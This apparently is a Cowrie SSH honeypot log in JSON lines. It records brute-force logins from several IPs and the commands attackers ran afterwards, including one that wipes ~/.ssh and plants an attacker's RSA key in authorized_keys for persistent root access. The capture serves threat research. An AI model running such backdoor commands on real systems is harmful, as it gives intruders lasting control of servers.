{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:33.485131Z","src_ip":"156.238.252.133","session":"22c188a0ab3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:33.546748Z","src_ip":"156.238.252.133","session":"22c188a0ab3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:33.826338Z","src_ip":"156.238.252.133","session":"22c188a0ab3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:34.890681Z","src_ip":"156.238.252.133","session":"22c188a0ab3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.238.252.133","src_port":50998,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc38a579d7bb","protocol":"ssh","message":"New connection: 156.238.252.133:50998 (159.203.135.109:22) [session: dc38a579d7bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:34.949282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:34.953118Z","src_ip":"156.238.252.133","session":"dc38a579d7bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:35.014635Z","src_ip":"156.238.252.133","session":"dc38a579d7bb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:35.293270Z","src_ip":"156.238.252.133","session":"dc38a579d7bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:35.357340Z","src_ip":"156.238.252.133","session":"16363eefa882","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:35.361598Z","src_ip":"156.238.252.133","session":"dc38a579d7bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.15.173","src_port":41140,"dst_ip":"10.17.0.5","dst_port":22,"session":"28146a506b8d","protocol":"ssh","message":"New connection: 8.219.15.173:41140 (10.17.0.5:22) [session: 28146a506b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:42.021142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:42.025302Z","src_ip":"8.219.15.173","session":"28146a506b8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:42.270897Z","src_ip":"8.219.15.173","session":"28146a506b8d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"config","message":"login attempt [root/config] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:43.286395Z","src_ip":"8.219.15.173","session":"28146a506b8d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:43.809672Z","src_ip":"8.219.15.173","session":"28146a506b8d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:43.813041Z","src_ip":"8.219.15.173","session":"28146a506b8d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:43.816384Z","src_ip":"8.219.15.173","session":"28146a506b8d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:44.065540Z","src_ip":"8.219.15.173","session":"28146a506b8d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:44.634940Z","src_ip":"8.219.15.173","session":"28146a506b8d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:44.637567Z","src_ip":"8.219.15.173","session":"28146a506b8d","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:44.886699Z","src_ip":"8.219.15.173","session":"28146a506b8d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:44.890330Z","src_ip":"8.219.15.173","session":"28146a506b8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.15.173","src_port":41142,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ecc3ffe5d0f","protocol":"ssh","message":"New connection: 8.219.15.173:41142 (10.17.0.5:22) [session: 2ecc3ffe5d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:45.114961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:45.119541Z","src_ip":"8.219.15.173","session":"2ecc3ffe5d0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:45.358302Z","src_ip":"8.219.15.173","session":"2ecc3ffe5d0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:46.344703Z","src_ip":"8.219.15.173","session":"2ecc3ffe5d0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:47.585885Z","src_ip":"8.219.15.173","session":"2ecc3ffe5d0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.15.173","src_port":41144,"dst_ip":"10.17.0.5","dst_port":22,"session":"286badecbd90","protocol":"ssh","message":"New connection: 8.219.15.173:41144 (10.17.0.5:22) [session: 286badecbd90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:47.835675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:47.839941Z","src_ip":"8.219.15.173","session":"286badecbd90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:48.088444Z","src_ip":"8.219.15.173","session":"286badecbd90","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:49.104863Z","src_ip":"8.219.15.173","session":"286badecbd90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:49.353205Z","src_ip":"8.219.15.173","session":"28146a506b8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:49.357300Z","src_ip":"8.219.15.173","session":"286badecbd90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":47166,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5f3dc622740","protocol":"ssh","message":"New connection: 195.178.110.218:47166 (159.203.135.109:22) [session: d5f3dc622740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:54.061493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:54.065549Z","src_ip":"195.178.110.218","session":"d5f3dc622740","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:54.141117Z","src_ip":"195.178.110.218","session":"d5f3dc622740","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:54.368383Z","src_ip":"195.178.110.218","session":"d5f3dc622740","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:32:55.445476Z","src_ip":"195.178.110.218","session":"d5f3dc622740","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.119.198.81","src_port":57392,"dst_ip":"10.17.0.5","dst_port":22,"session":"29f56be06d0e","protocol":"ssh","message":"New connection: 190.119.198.81:57392 (10.17.0.5:22) [session: 29f56be06d0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:33:31.554244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:33:31.558935Z","src_ip":"190.119.198.81","session":"29f56be06d0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:33:31.697936Z","src_ip":"190.119.198.81","session":"29f56be06d0e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qwe2025","message":"login attempt [root/qwe2025] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:33:32.276192Z","src_ip":"190.119.198.81","session":"29f56be06d0e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:33:32.584424Z","src_ip":"190.119.198.81","session":"29f56be06d0e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:33:32.587056Z","src_ip":"190.119.198.81","session":"29f56be06d0e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:33:32.590161Z","src_ip":"190.119.198.81","session":"29f56be06d0e","protocol":"ssh"}
